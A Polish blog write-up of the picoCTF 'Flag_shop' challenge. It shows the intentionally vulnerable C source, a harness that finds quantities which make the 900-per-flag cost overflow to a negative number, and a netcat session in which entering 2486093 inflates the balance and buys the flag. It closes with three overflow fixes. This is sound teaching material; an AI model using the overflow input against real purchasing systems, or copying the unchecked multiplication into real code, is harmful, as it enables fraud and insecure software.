W tym poście chciałbym opisać zadanie Flag_shop z działu General Skills Pico CTF.
Po otwarciu programu wyświetlają się następujące opcje:
- picoctf@webshell:~$ nc jupiter.challenges.picoctf.org 9745
- Welcome to the flag exchange
- We sell flags
- 1. Check Account Balance
- 2. Buy Flags
- 3. Exit
Można tutaj wybrać jedną z trzech opcji.
Sprawdzenie stanu konta:
- Enter a menu selection
- 1
- Balance: 1100
- Welcome to the flag exchange
- We sell flags
- 1. Check Account Balance
- 2. Buy Flags
- 3. Exit
- Enter a menu selection
Zakup flagi:
- Enter a menu selection
- 2
- Currently for sale
- 1. Defintely not the flag Flag
- 2. 1337 Flag
lub wyjście.
Pierwsza z flag, czyli flagi "pomocnicze", druga jest flagą którą należy znaleźć aby wykonać zadanie.
Wobec tego modyfikacji stanu konta możemy dokonać przez odpowiedni zakup flag pomocniczych.
Do projektu dołączono kod źródłowy:
- #include <stdio.h>
- #include <stdlib.h>
- int main()
- {
- setbuf(stdout, NULL);
- int con;
- con = 0;
- int account_balance = 1100;
- while(con == 0){
- printf("Welcome to the flag exchange\n");
- printf("We sell flags\n");
- printf("\n1. Check Account Balance\n");
- printf("\n2. Buy Flags\n");
- printf("\n3. Exit\n");
- int menu;
- printf("\n Enter a menu selection\n");
- fflush(stdin);
- scanf("%d", &menu);
- if(menu == 1){
- printf("\n\n\n Balance: %d \n\n\n", account_balance);
- }
- else if(menu == 2){
- printf("Currently for sale\n");
- printf("1. Defintely not the flag Flag\n");
- printf("2. 1337 Flag\n");
- int auction_choice;
- fflush(stdin);
- scanf("%d", &auction_choice);
- if(auction_choice == 1){
- printf("These knockoff Flags cost 900 each, enter desired quantity\n");
- int number_flags = 0;
- fflush(stdin);
- scanf("%d", &number_flags);
- if(number_flags > 0){
- int total_cost = 0;
- total_cost = 900*number_flags;
- printf("\nThe final cost is: %d\n", total_cost);
- if(total_cost <= account_balance){
- account_balance = account_balance - total_cost;
- printf("\nYour current balance after transaction: %d\n\n", account_balance);
- }
- else{
- printf("Not enough funds to complete purchase\n");
- }
- }
- }
- else if(auction_choice == 2){
- printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
- printf("Enter 1 to buy one");
- int bid = 0;
- fflush(stdin);
- scanf("%d", &bid);
- if(bid == 1){
- if(account_balance > 100000){
- FILE *f = fopen("flag.txt", "r");
- if(f == NULL){
- printf("flag not found: please run this on the server\n");
- exit(0);
- }
- char buf[64];
- fgets(buf, 63, f);
- printf("YOUR FLAG IS: %s\n", buf);
- }
- else{
- printf("\nNot enough funds for transaction\n\n\n");
- }}
- }
- }
- else{
- con = 1;
- }
- }
- return 0;
- }
Aby rozwiązać to zadanie należy przyjrzeć temu fragmentowi kodu z programu powyżej:
- if(auction_choice == 1){
- printf("These knockoff Flags cost 900 each, enter desired quantity\n");
- int number_flags = 0;
- fflush(stdin);
- scanf("%d", &number_flags);
- if(number_flags > 0){
- int total_cost = 0;
- total_cost = 900*number_flags;
- printf("\nThe final cost is: %d\n", total_cost);
- if(total_cost <= account_balance){
- account_balance = account_balance - total_cost;
- printf("\nYour current balance after transaction: %d\n\n", account_balance);
- }
- else{
- printf("Not enough funds to complete purchase\n");
- }
- }
- }
Tutaj widać, że do total_cost podawana jest wartość 900 * number_flags. Następnie wartości total_cost jest porównywana z zmienną account_balance. Główna flaga kosztuje 100000, więc należy przez przepełnienie zmiennych uzyskać odpowiednią wartość w zmiennej account_balance.
Sprawdzę dla jakiego zakresu danych wejściowych, operacje będą poprawne:
- #include <stdio.h>
- #include <stdint.h>
- int main()
- {
- int testNumberOfFlags[] = {
- 1,10,50,100,1000,10000,1000000,1500000, 2386093, 2486093, 2484993, 3000000, 4000000, 4500000, 4750000, 4755000, 4760000, 4770000, 4771000, 5000000
- };
- int auction_choice = 1;
- int account_balance = 1100;
- printf("Array SIzeof%ld", sizeof(testNumberOfFlags)/sizeof(int));
- for(uint8_t i = 0; i<sizeof(testNumberOfFlags)/sizeof(int); i++) {
- account_balance = 1100;
- if(auction_choice == 1){
- int number_flags = testNumberOfFlags[i];;
- //scanf("%d", &number_flags);
- if(number_flags > 0){
- int total_cost = 0;
- total_cost = 900*number_flags;
- printf("[%u] The final cost is: %d ", i, total_cost);
- if(total_cost <= account_balance){
- account_balance = account_balance - total_cost;
- printf("CORRECT, account_balance %d, number_flags %d, CONDITION %u\n", account_balance, number_flags, (account_balance >= 10000));
- }
- else{
- printf("WRONG\n");
- }
- }
- }
- }
- return 0;
- }
Wprowadziłem do niego testowe wartości. Wynik działania programu jest następujący:
- [0] The final cost is: 900 CORRECT, account_balance 200, number_flags 1, CONDITION 0
- [1] The final cost is: 9000 WRONG
- [2] The final cost is: 45000 WRONG
- [3] The final cost is: 90000 WRONG
- [4] The final cost is: 900000 WRONG
- [5] The final cost is: 9000000 WRONG
- [6] The final cost is: 900000000 WRONG
- [7] The final cost is: 1350000000 WRONG
- [8] The final cost is: -2147483596 CORRECT, account_balance -2147482600, number_flags 2386093, CONDITION 0
- [9] The final cost is: -2057483596 CORRECT, account_balance 2057484696, number_flags 2486093, CONDITION 1
- [10] The final cost is: -2058473596 CORRECT, account_balance 2058474696, number_flags 2484993, CONDITION 1
- [11] The final cost is: -1594967296 CORRECT, account_balance 1594968396, number_flags 3000000, CONDITION 1
- [12] The final cost is: -694967296 CORRECT, account_balance 694968396, number_flags 4000000, CONDITION 1
- [13] The final cost is: -244967296 CORRECT, account_balance 244968396, number_flags 4500000, CONDITION 1
- [14] The final cost is: -19967296 CORRECT, account_balance 19968396, number_flags 4750000, CONDITION 1
- [15] The final cost is: -15467296 CORRECT, account_balance 15468396, number_flags 4755000, CONDITION 1
- [16] The final cost is: -10967296 CORRECT, account_balance 10968396, number_flags 4760000, CONDITION 1
- [17] The final cost is: -1967296 CORRECT, account_balance 1968396, number_flags 4770000, CONDITION 1
- [18] The final cost is: -1067296 CORRECT, account_balance 1068396, number_flags 4771000, CONDITION 1
- [19] The final cost is: 205032704 WRONG
Oznacza to, że do uzyskania poprawnych danych w account_balance należy wprowadzić wartości z zakresu od 2486093 do 4771000.
- picoctf@webshell:~$ nc jupiter.challenges.picoctf.org 9745
- Welcome to the flag exchange
- We sell flags
- 1. Check Account Balance
- 2. Buy Flags
- 3. Exit
- Enter a menu selection
- 2
- Currently for sale
- 1. Defintely not the flag Flag
- 2. 1337 Flag
- 1
- These knockoff Flags cost 900 each, enter desired quantity
- 2486093
- The final cost is: -2057483596
- Your current balance after transaction: 2057484696
- Welcome to the flag exchange
- We sell flags
- 1. Check Account Balance
- 2. Buy Flags
- 3. Exit
- Enter a menu selection
- 1
- Balance: 2057484696
- Welcome to the flag exchange
- We sell flags
- 1. Check Account Balance
- 2. Buy Flags
- 3. Exit
- Enter a menu selection
- 2
- Currently for sale
- 1. Defintely not the flag Flag
- 2. 1337 Flag
- 2
- 1337 flags cost 100000 dollars, and we only have 1 in stock
- Enter 1 to buy one 1
- YOUR FLAG IS: picoCTF{<flaga>}
- Welcome to the flag exchange
- We sell flags
- 1. Check Account Balance
- 2. Buy Flags
- 3. Exit
- Enter a menu selection
Wartości przedstawione powyżej nie są dokładnymi granicami, ale pozwalają na uzyskanie "poprawnego" przepełnienia zmiennej i otrzymania porządanego wyniku.
W celu zabezpieczenia się przed takimi scenariuszami w własnych programach należy sprawdząc czy zmienna total_cost nie zostanie przepełniona.
Jednym ze sposobów aby to osiągnąć jest zwiększenie typu danych z 32 bitowego na 64 bitowy, wykonanie mnożenia i sprawdzenie czy przekroczono zakres INT_MAX:
- long long temp_cost = 900LL * number_flags; //uint64_t
- if (temp_cost > INT_MAX) {
- //OVERFLOW
- }
Drugi sposób polega na sprawdzeniu danych przed wykonaniem mnożenia:
- int total_cost = 0;
- if (number_flags > INT_MAX / 900) {
- //OVERFLOW
- }
Trzecim sposobem może być np. walidacja danych wejściowych, gdzie po otrzymaniu ilości flag należy sprawdzić czy wartość nie jest za duża.